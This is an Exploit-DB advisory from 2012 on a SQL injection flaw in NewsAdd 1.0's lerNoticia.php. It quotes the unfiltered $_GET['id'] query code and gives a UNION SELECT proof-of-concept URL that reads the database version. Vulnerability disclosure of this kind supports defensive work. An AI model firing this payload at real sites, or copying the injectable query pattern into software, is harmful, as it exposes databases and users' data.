NewsAdd <= 1.0 lerNoticia.php id SQL Injection Vulnerability

2012-05-31T00:00:00
ID EDB-ID:18960
Type exploitdb
Reporter Yakir Wizman
Modified 2012-05-31T00:00:00

Description

NewsAdd <= 1.0 (lerNoticia.php id) SQL Injection Vulnerability. Webapps exploit for php platform

                                        
                                            ##########################################################################
## NewsAdd &lt;= 1.0 (lerNoticia.php) Remote SQL Injection
## Google Dork: n/a
## Bug discovered by Pr0T3cT10n, &lt;pr0t3ct10n@gmail.com&gt;
## Date: 31/05/2012
## Version: 1.0
## Software Link: http://phpbrasil.com/script/3tCyUs1JeL1M/newsadd--mysql
## ISRAEL
##########################################################################
##          Author will be not responsible for any damage.
##########################################################################
##      **YOU SHOULD BE LOGGED IN** | **YOU SHOULD BE LOGGED IN**
##########################################################################
## Vulnerable Code - lerNoticia [15-22]:
21.if ($_GET) {
22.
23.	$id = $_GET['id'];
24.	
25.	$query = "SELECT * FROM noticia WHERE id = '$id'";
26.	$sql = mysql_query($query);
27.
28.	while($row = mysql_fetch_array($sql)) {
29.
30.		echo "&lt;strong&gt;&lt;br&gt;" . $row['titulo'] . "&lt;/strong&gt; - postado em " . $row['data'] . "&lt;br&gt;" . $row['noticia'] . "&lt;br&gt;";
31.		echo "&lt;a href='comentar.php?id=$row[0]'&gt;comentar not?cia&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;hr&gt;";
32.
33.	}
34.
## NOTE:
## As you can see there is no validation or any filter to variable $id.
## See line 23. so you can inject sql query by using $id variable;
## SQL Injection PoC:
## http://www.example.com/newsadd/lerNoticia.php?id=-0'+union+all+select+1,2,VERSION(),4,5+from+usuarios--+
##########################################################################
# Cya :)
# 0x31337.net
##########################################################################